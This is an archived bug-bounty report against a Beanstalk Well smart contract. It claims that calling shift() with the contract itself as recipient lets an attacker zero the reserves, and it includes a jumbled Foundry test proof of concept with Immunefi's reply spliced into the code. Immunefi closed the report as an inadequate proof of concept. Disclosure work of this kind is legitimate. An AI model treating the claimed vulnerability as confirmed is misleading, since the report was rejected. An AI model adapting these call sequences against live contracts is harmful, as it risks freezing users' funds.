Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #32208
📄

Report #32208

Report Date
June 13, 2024
Status
Closed
Payout

Attacker can reduce reserve values to zero , thus user cannot withdraw from contract

‣
Report Info

Report ID

#32208

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xBEA0e11282e2bB5893bEcE110cF199501e872bAd

Impacts

Permanent freezing of funds

Description

Attacker can reduce reserve funds as low as he likes , user can reduce reserve funds to zero if he likes . This stops using from being able to withdraw money from the contract . However, attacker cannot steal these funds .

This attack works by transferring funds to the well contract and then calling the shift function. When I pass the recipient address as the address of the well contract , function sends money to itself and the reserve amount is reduced as can be seen on line 403 reserves[j] -= amountOut;. This means that the reserve is reduced by the amount the contract transfers to itself on line 402 tokenOut.safeTransfer(recipient, amountOut); . However , as the contract transfers money to itself its balance doesn't reduce ,thus I can call the function again passing in the recipient address as a user , by doing so the user gets sent the difference between the reserve and the balance of the contract and the reserve is reduced again . If an attacker repeats this he can reduce all reserves vales in contract to zero .

How to fix the bug , do not let someone pass in the recipient address as the well contract itself .

soultion

add check

make sure receipent != address(this ) . add this check in the sync function

Proof of concept

Proof of Concept

SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import {TestHelper, Balances, ConstantProduct2, IERC20} from "test/TestHelper.sol"; import {IWell} from "src/interfaces/IWell.sol"; import {IWellErrors} from "src/interfaces/IWellErrors.sol"; import "forge-std/Test.sol"; import {SwapHelper, SwapAction, Snapshot} from "test/SwapHelper.sol";

contract WellShiftTest is TestHelper { event Shift( uint256[] reserves, IERC20 toToken, uint256 amountOut, address recipient );

}

Immunefi Response

We have reviewed your report and regret to inform you that we will have to close it due to inadequate proof of concept (PoC).

Immunefi review:

  • assessed impact by the triage team is / is not in scope for the bug bounty program
  • assessed asset by the triage team is in scope for the bug bounty program
  • The submitted PoC is inadequate for the described issue.
  • Technical Review: PoC doesn't demonstrate the claimed impact of Permanent freezing of funds.

To ensure the proper escalation and evaluation of your report, Immunefi has checked the PoC to see if it matches the assessed impact and bug description, as well as verified the accuracy of your claims.

Please note that the project's team will receive a report of the closed submission and may choose to re-open it at their discretion. However, they are under no obligation to do so.

ConstantProduct2 cp;

function setUp() public {
///
    cp = new ConstantProduct2();
    setupWell(2);
}

uint256[] tokenAmountsOut;



 @dev Calling shift() on a balanced Well should do nothing.
function test_shift_balanced_pool_amin() public prank(user) {
     tokens[1].transfer(address(well), 1e20);
    //   tokens[0].transfer(address(well), 1e20);


    uint256 user_amount = tokens[0].balanceOf(user);
    uint256 user_before_token1 = tokens[1].balanceOf(user);
    uint256 before_wells_amount0 = tokens[0].balanceOf(address(well));
    uint256 before_wells_amount1 = tokens[1].balanceOf(address(well));
    uint256 lpTokenSupplyBefore = well.totalSupply();

    uint256 balanceuserbefore = tokens[0].balanceOf(user);
    uint256 balanceuserbeforetoken1 = tokens[1].balanceOf(user);

    uint256[] memory amountsOut = new uint256[](2);
    amountsOut[0] = 1e10;
    amountsOut[1] = 1e20;
    uint256[] memory amountsOut2 = new uint256[](2);

    amountsOut[0] = 0;
    amountsOut[1] = 0;

    uint256 aomuntIn2 = 100e21;
    uint256 amountIn = bound(aomuntIn2, 1, tokens[0].balanceOf(user));

  well.sync(user,0);
  tokens[1].transfer(address(well), 2e10);
  well.shift(tokens[1],1e10,address(well));
   well.shift(tokens[1],1e10,user);



    well.removeLiquidity(0, amountsOut2, user, type(uint256).max);



    uint256 after_wells_amount0 = tokens[0].balanceOf(address(well));
    uint256 after_wells_amount1 = tokens[1].balanceOf(address(well));
    uint256 afteruser_amount = tokens[0].balanceOf(user);

    uint256 user_amount_token1_after = tokens[1].balanceOf(user);

    console.log(
        "diffrence wells token 0 before and after :=>",
        before_wells_amount0,
        after_wells_amount0
    );
    console.log(
        "differnce wells token 1 before and after ;>",
        before_wells_amount1,
        after_wells_amount1
    );
    console.log(
        "lptokensupply before vs l token supply after ",
        well.totalSupply(),
        lpTokenSupplyBefore
    );

    uint256 balanceuserafter = tokens[0].balanceOf(user);





}